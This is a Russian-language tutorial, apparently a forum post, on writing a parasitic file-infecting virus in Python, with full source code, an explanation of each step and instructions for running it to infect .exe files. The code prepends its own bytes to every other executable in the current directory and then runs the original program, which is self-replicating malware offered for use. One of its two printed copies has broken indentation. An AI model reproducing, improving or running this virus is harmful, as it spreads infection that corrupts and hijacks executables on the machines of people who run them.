Creating a parasitic virus in Python: "When the code begins to take on a life of its own."

Приветствую всех причастных! Сегодня мы рассмотрим структуру паразитического вируса, его основные функции и узнаем, как этот код можно запустить.
Установка Python​

Перед началом работы убедитесь, что у вас установлен Python. Следуйте этим шагам:

• Скачайте Python Перейдите на официальный сайт Python и выберите подходящую версию для своей ОС.
• Установите Python Запустите установочный файл и отметьте опцию “Add Python to PATH” во время установки.
• Проверьте установку: В командной строке или терминале введите:

Код:

python --version

Code

python --version

Если установка прошла успешно, вы увидите номер версии Python.

Классификация вирусов

1. Перед тем как приступить к кодированию, рассмотрим основные типы HLLx-вирусов (High Level Language x — метод размножения):
2. Оверрайтеры (HLLO): Простые вирусы, которые перезаписывают оригинальные файлы, уничтожая их.
3. Компаньоны (HLLC): Эти вирусы маскируются под оригинальные файлы, заменяя их копиями.
4. Паразиты (HLLP): Наиболее сложные вирусы, внедряющиеся в код жертвы и позволяющие программе жертвы продолжить работу.
5. Здесь мы сосредоточимся на HLLP-вирусах, которые внедряются в исполняемые файлы и запускают оригинальную программу после активации.

Код паразитического вируса

import sys
import os



virPath = os.path.split(sys.argv[0])
names = os.listdir('.')
fvir = open(sys.argv[0], 'rb')
virData = fvir.read(19456)



for name in names:
namePair = os.path.splitext(name)
if namePair[1] == '.exe' and name != virPath[1]:
os.rename(name, name + 'tmp')
fprog = open(name + 'tmp', 'rb')
progData = fprog.read()
fnew = open(name, 'wb')
fnew.write(virData + progData)
fnew.close()
fprog.close()
os.remove(name + 'tmp')



origProgData = fvir.read()
origProg = 'original_' + virPath[1]
forig = open(origProg, 'wb')
forig.write(origProgData)
fvir.close()
forig.close()
os.execl(origProg, '')

Python

import sys

import os







virPath = os.path.split(sys.argv[0])

names = os.listdir('.')

fvir = open(sys.argv[0], 'rb')

virData = fvir.read(19456)







for name in names:

    namePair = os.path.splitext(name)

if namePair[1] == '.exe' and name != virPath[1]:

os.rename(name, name + 'tmp')

fprog = open(name + 'tmp', 'rb')

        progData = fprog.read()

fnew = open(name, 'wb')

        fnew.write(virData + progData)

        fnew.close()

        fprog.close()

os.remove(name + 'tmp')







origProgData = fvir.read()

origProg = 'original_' + virPath[1]

forig = open(origProg, 'wb')

forig.write(origProgData)

fvir.close()

forig.close()

os.execl(origProg, '')

Объяснение работы кода

1. Импорт библиотек: Модули sys и os используются для взаимодействия с операционной системой и управления файлами.
2. Получение пути к вирусу: С помощью os.path.split(sys.argv[0]) программа определяет путь к своему исполняемому файлу и его имя.
3. Чтение вирусного кода: Открывается файл вируса в бинарном режиме, и читаются первые 19456 байт, которые сохраняются в переменной virData.
4. Программа перебирает все файлы в текущей директории.
5. Если файл имеет расширение .exe и не является вирусным, то:
6. Файл временно переименовывается с добавлением суффикса tmp.
7. Содержимое временного файла считывается, и создаётся новый файл: сначала записывается вирусный код, а затем данные из оригинального файла.
8. Временный файл удаляется.

Реализация вируса
Шаг 1: Создайте файл с кодом вируса
Откройте текстовый редактор (например, Notepad или IDE для Python).
Вставьте приведенный код и сохраните как parasite_virus.py.

Шаг 2: Создайте тестовый исполняемый файл
Создайте текстовый файл с текстом, например, “Это тестовый файл.”
Сохраните его с расширением .exe, например, test_program.exe. (Можно использовать pyinstaller для конвертации .py в .exe.)

Шаг 3: Запустите вирус
Поместите parasite_virus.py и test_program.exe в одну директорию.
Запустите вирус с командой:

python parasite_virus.py

Code

python parasite_virus.py

После запуска файл test_program.exe будет заражен.

Надеюсь, вам нравится такой формат. Поддержите, и я буду делать еще больше подобных статей! ​